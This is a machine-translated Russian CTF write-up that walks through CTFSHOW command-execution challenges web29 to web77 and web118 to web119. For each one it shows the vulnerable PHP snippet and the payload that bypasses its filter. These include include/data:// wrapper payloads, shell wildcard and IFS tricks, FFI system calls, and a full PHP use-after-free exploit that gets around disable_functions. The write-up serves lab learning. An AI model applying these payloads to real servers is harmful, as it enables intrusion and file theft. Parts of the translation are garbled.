Обзор CTFSHOW по чистке вопросов — выполнение команды [29-77,118-124] (пока не обновлено)
Обзор CTFSHOW по чистке вопросов — выполнение команды [29-77,118-124] (пока не обновлено)

web29

Язык кода:javascript
копировать
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

Первый вопрос выполнения команды относительно прост. Он соответствует только строке флага и не учитывает регистр.

Затем вы можете использовать * для замены любого символа

web30

Язык кода:javascript
копировать
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

Здесь сопоставляются три строки flag|system|php, без учета регистра. Полезная нагрузка все еще может использовать web29.

web31

Язык кода:javascript
копировать
<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

Здесь обнаруживается, что кошка тоже подобрана. Но это не имеет значения. Вместо этого мы можем использовать less и использовать %09 для пробелов.

web32

Язык кода:javascript
копировать
<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

Здесь также перехватывается эхо. Здесь мы можем использовать функцию включения

Язык кода:javascript
копировать
payload:?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web33

Язык кода:javascript
копировать
<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

Есть так много вопросов"Перехвачено,Итак, мы реконструируем полезную нагрузку следующим образом:

Язык кода:javascript
копировать
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web34

Язык кода:javascript
копировать
<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

Слишком много вопросов:безвредный,Продолжать использовать полезную нагрузку web33

web35

Язык кода:javascript
копировать
<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

полезная нагрузка web33

web36

Язык кода:javascript
копировать
<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

Больше отфильтрованных номеров,Влияние все еще невелико,полезная нагрузка web33

web37

Язык кода:javascript
копировать
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

Этот вопрос начинает становиться функцией включения. Мы можем использовать псевдопротоколы.

Язык кода:javascript
копировать
?c=data://text/plain,<?php%20echo%20`cat%20fla*`;%20?>;

web38

Язык кода:javascript
копировать
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

Этот вопрос фильтрует php. Но это нормально,мы можем использоватькороткий тег PHPpayloadследующее

Язык кода:javascript
копировать
?c=data://text/plain,<?=%20system(%27cat%20fla*%27)%20?>

web39

Язык кода:javascript
копировать
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}
Язык кода:javascript
копировать
data://text/plain,<?php%20echo%20`cat%20fla*`;%20?>

Вышеупомянутая полезная нагрузка уже выполнила оператор php. Поскольку предыдущий оператор закрыт, следующий .php бесполезен.

web40

Язык кода:javascript
копировать
<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

Этот вопрос отфильтровывает много вещей....Я учился на идеях этого мастераhttps://blog.csdn.net/qq_44893894/article/details/109923404

Язык кода:javascript
копировать
функция current() возвращает текущий элемент/единицу массива, по умолчанию принимая первое значение;
pos()функция аналогична приведенной выше и является псевдонимом функции current();
reset()функция,Возвращает значение первого элемента массива, если массив не пуст.,Возвращает FALSE, если массив пуст

Давайте сначала проверим, какие файлы находятся локально

Затем используйте функцию array_reverse(), чтобы инвертировать возвращаемое значение. И используйте следующую функцию, чтобы прочитать следующий элемент

Наконец, используйте функцию Highlight_file(), чтобы прочитать файл.

web41

Язык кода:javascript
копировать
<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

Для этого вопроса нет фильтра | или оператор,Но поскольку мои способности писать Скрипт недостаточно сильны,Поэтому я прикрепляю чужиеwp:https://wp.ctf.show/d/137-ctfshow-web-web41

web42

Язык кода:javascript
копировать
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

Итак, здесь нам нужно разделить две команды, здесь я использую ||(Знакомство с символами вертикальной черты можно найти в предыдущих статьях.)

Язык кода:javascript
копировать
payload:?c=cat%20flag.php||

web43

Язык кода:javascript
копировать
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

Здесь обновлена ​​фильтрация для ; и cat. Ничего страшного, альтернативы все упомянуты выше.

Язык кода:javascript
копировать
payload:?c=less%20flag.php||

web44

Язык кода:javascript
копировать
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

Здесь есть еще один флаг

Язык кода:javascript
копировать
payload:?c=less%20fla*.php||

web45

Язык кода:javascript
копировать
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

Этот вопрос имеет дополнительный фильтр по пробелу полезная нагрузка:?c=less%09fla*.php||

web46

Язык кода:javascript
копировать
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

Этот вопрос предполагает дополнительную фильтрацию чисел ифильтр. Но это не имеет значения. %09 будет автоматически декодирован по URL-адресуМожем ли мы воспользоваться? заменять

Язык кода:javascript
копировать
payload:?c=less%09fla?.php||

web47

Язык кода:javascript
копировать
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

На этот раз я стал меньше соответствовать. Но мы можем использовать TAC, чтобы обойти

payload: ?c=tac%09fla?.php||

web48

Язык кода:javascript
копировать
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

Этот вопрос все еще фильтрует аналогичные инструкции для кота, но кот не фильтруется.

Язык кода:javascript
копировать
payload:?c=tac%09fla?.php||

web49

Язык кода:javascript
копировать
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

Объяснение такое же, как у web48.

web50

Язык кода:javascript
копировать
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

Здесь тоже%Перехвачено Мы используем<заменять

Язык кода:javascript
копировать
payload:?c=tac<fla%27%27g.php||

web51

Язык кода:javascript
копировать
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

Так фильтруется здесь. Далее мы будем использовать nl

Язык кода:javascript
копировать
payload:?c=nl<>fla%27%27g.php||

web52

Язык кода:javascript
копировать
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

Этот вопрос<>также отфильтровано,Но он выложил $,Таким образом, мы можем использовать {IFS} для замены пробелов.

Я обнаружил, что он изменил свое положение. Проверив, я обнаружил, что оно есть на картинке ниже.

Язык кода:javascript
копировать
payload:?c=nl${IFS}../../../fla?||

web53

<?php if(isset($_GET['c'])){

Язык кода:javascript
копировать
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
    echo($c);
    $d = system($c);
    echo "<br>".$d;
}else{
    echo 'no';
}

}else{

Язык кода:javascript
копировать
highlight_file(__FILE__);

} Здесь мы помещаем прошлую тему >/dev/null 2>&1удалить Понятно,Поэтому нет необходимости добавлять || полезная нагрузка: nl${IFS}fla?.php

web54

<?php if(isset($_GET['c'])){

Язык кода:javascript
копировать
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
    system($c);
}

}else{

Язык кода:javascript
копировать
highlight_file(__FILE__);

} Этот вопрос отфильтровывает довольно многое.

Язык кода:javascript
копировать
payload:?c=paste${IFS}fla?.php

web55

<?php

Язык кода:javascript
копировать
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

Здесь нет фильтрации? и числа, поэтому мы можем попытаться использовать их для нечеткого сопоставления. И нам нужно нечеткое совпадение /bin/ перед ним (эти команды находятся под bin)

Язык кода:javascript
копировать
payload:/???/????64%20????????

Тогда декодирование base64 будет в порядке.

web56

<?php if(isset($_GET['c'])){

Язык кода:javascript
копировать
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
    system($c);
}

}else{

Язык кода:javascript
копировать
highlight_file(__FILE__);

} Этот вопрос также фильтрует числа.,мы можем научитьсяп бог的思路 首先我们可以知道. xxВы можете выполнять команды в файле。

ЗатемlinuxОбычно загружаемые временные файлы помещаются в/tmp/php??????место(??????представляет случайные буквы),Итак, мы можем использовать следующую картинку, чтобы сопоставить его

Язык кода:javascript
копировать
???/????????[@-[]

Итак, здесь мы можем создать пакет почтовых данных для одновременной загрузки временных файлов и выполнения файловых команд --- условное соревнование (не забудьте нажать несколько раз)

web57

Язык кода:javascript
копировать
<?php
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

Даже сейчасВсе отфильтровано Понятно Поэтому вы не можете использовать предыдущий метод Понятно。предоставлено автором Понятноpayload

Язык кода:javascript
копировать
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

При выполнении непосредственно под Linux оказывается, что оно равно 36.

Изучите это,оказатьсяпринципда:(())** представляет операцию, **{_}да Возвращает значение последней выполненной команды

Как показано на картинке выше и так далее. Когда оно наконец достигнет 36, просто сделайте обратное.


ок, теперь следующий тип вопроса


web58

Язык кода:javascript
копировать
<?php
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
payload:c=highlight_file('flag.php');

web59

Язык кода:javascript
копировать
<?php
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

Что ж, хотя этот вопрос внешне аналогичен предыдущему, в нем, вероятно, отключено больше функций. Я не знаю точно, что отключено. Но полезная нагрузка похожа на web58

web60-65

Метод тот же, что и 58.

web66

Ого, на этот раз он изменил адрес файла

Давайте сначала посмотрим, какие файлы находятся в корневом каталоге.

flag.txt найден

Язык кода:javascript
копировать
payload:c=highlight_file('/flag.txt');

web67

На этот раз он отключил функцию print_r.,мы можем использоватьvar_dumpПриходитьзаменятьc=var_dump(scandir("/"));

затем напрямую

Язык кода:javascript
копировать
highlight_file('/flag.txt');

web68

В этот раз qaq коду просто не дан, а функция подсветки_файла тоже отключена. Давайте продолжим пытаться увидеть, сможем ли мы прочитать корневой каталог.

Потому что функция Highlight_file отключена, и я обнаружил, что функция show_source также отключена. Затем мы также можем попробовать функцию включения

web69

В это время var_dump также отключен, мы можем использовать следующую полезную нагрузку для вывода списка каталогов.

Язык кода:javascript
копировать
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};

возвращатьсядав этом положенииinclude("/flag.txt");

web70

То же, что и 69, добавьте рендеринг.

web71

Язык кода:javascript
копировать
<?php
error_reporting(0);
ini_set('display_errors', 0);
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>Вы хотите попасть в рай??

Здесь мы обнаруживаем, что после eval() имеется дополнительная область буфера сопоставления; будут ли в ней использоваться совпадающие цифры и буквы? заменить. Это легко обойти, просто добавьте в конце exit();

Язык кода:javascript
копировать
payload:include("/flag.txt");exit();

web72

Давайте сначала посмотрим каталог

Я обнаружил, что имя было изменено, но функция включения также была отключена. Здесь для выполнения команды мы используем скрипт uaf (механизм сбора мусора), предоставленный владельцем группы (принцип эмммм не знаю)

Язык кода:javascript
копировать
payload:function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag.txt");ob_end_flush(); Не забудьте зашифровать URL-адрес полезной нагрузки.

web73

Аналогично предыдущей идее

Язык кода:javascript
копировать
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

Найдите файл flagc.txt и прочитайте его.

Язык кода:javascript
копировать
c=include("/flagc.txt");exit();

web74

Идея та же, что и у web73, но имя файла изменено.

web75

Сначала прочитайте каталог, чтобы узнать, что этот файл находится в flag36.txt. Затем я обнаружил, что include больше не может использовать здесь qaq. Используйте файл load—— для чтения здесь.

Язык кода:javascript
копировать
payload:c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

web76

75 операций

web77

Сначала прочтите каталог

Затем,Вопрос напоминает нам, что среда PHP — 7.4.,такмы можем использоватьРасширение FFIПриди и сделай это

Язык кода:javascript
копировать
payload:c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);exit();

Затем перейдите в 1.txt, чтобы получить к нему доступ.

web118

Щелкните правой кнопкой мыши исходный код, чтобы найти систему подсказок ($code);

После моего фаззинга я обнаружил, что многие отфильтрованные символы представляют собой только заглавные английские буквы и ~?;:{}$, которые все еще можно использовать, поэтому мы можем выполнять команды оболочки. На картинке ниже представлены советы автора

Здесь нам сначала нужно знать (сначала взгляните на мою ситуацию с Кали),Прилагается еще одинВстроенная таблица переменных BASH

То естьда Скажем, если мы хотим построитьnlЕсли вы хотите командовать, просто используйтепоследний символ {PATH} и{PWD}последний персонаж,Затем Используйте подстановочные знаки для сопоставления файловflag.phppayload:{PATH:~A}{PWD:~A} ????.???

web119

PATH этого вопроса был отфильтрован. Поэтому нам придется изменить структуру. (Завтра утром мне нужно потренироваться вождении, поэтому пока не буду обновлять информацию)

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose